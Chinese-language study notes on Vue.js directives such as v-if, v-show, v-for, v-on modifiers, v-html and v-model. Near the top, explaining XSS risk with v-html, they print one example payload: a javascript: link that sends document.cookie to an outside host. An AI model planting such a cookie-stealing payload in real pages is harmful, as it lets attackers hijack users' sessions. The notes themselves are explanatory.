vue中指令的学习
1、模板语法
- 文本 {{}}
{{express}}//文本插值语法，在 {{ }} 标记内部写的是 JS 表达式的内容 - 纯HTML
v-html ，防止XSS,CSRF（ (1) 前端过滤 (2) 后台转义(< > < >) (3) 给cookie 加上属性 http ）
<a href=javascript:location.href='http://www.baidu.com? cookie='+document.cookie>click</a>
指令
1、条件渲染
- v-if 动态创建/删除
- v-else-if 动态创建/删除
- v-else 动态创建/删除
- v-show 动态显示/隐藏
v-if 与· v-show 的区别：
- v-if 是添加/删除DOM树中的节点实现元素显示/隐藏，v-show 是通过设置元素的CSS样式中display 来实现元素的显示/隐藏
- v-if在频繁的实现元素显示/隐藏时有更高的切换开销，v-show有更高的初始化开销(当初始条件不满足时，v-if不做任何处理，v-show会将整个节点加到DOM树中，在设置css样式)
2、列表渲染
- v-for 列表渲染的指令，循环重复渲染处理 ( for in / for of) 都可以 遍历数组、对象
注：key值提高渲染性能、避免渲染混乱的情况
3、事件
- v-on 绑定事件的指令，简写为
@
修饰符
- .stop 阻止事件冒泡
- .prevent 阻止默认事件
- .enter 按键修饰符（回车）
- .ctrl 案件修饰符（ctrl）
- .once 只触发一次回调
- .capture 事件捕获模式
- .seelf 只当事件是从侦听器绑定的元素本身触发时才触发回调
- .passive passive事件监听器，允许开发者告诉浏览器，监听器不会阻止默认行为，从而浏览器可以放心大胆的滚动页面，这样可以大幅度提升移动端页面的性能
4、绑定属性
5、文本渲染
- v-html 渲染html 要考虑 XSS攻击 ， 要使用时，一定保证其渲染的是可靠数据
- v-text 渲染纯文本
6、插槽
- v-slot v2.6.0 中新增
<template v-slot:xx>
7、双向数据绑定
- v-model 创建双向数据绑定，会根据控件类型自动选取正确的方法类更新元素
修饰符
- .trim 过滤空格
- .lazy 数据只在失去焦点或者按下回车时才更新
- .number 框中的输入的数字自动转换成数字类型
8、其他不常用的指令
- v-pre 实现预格式化（原样显示）
- v-once 只渲染元素和组件一次，在控制台更改不会改变页面的数据
- v-cloak 会保存到元素上直接关联实例结束编译
|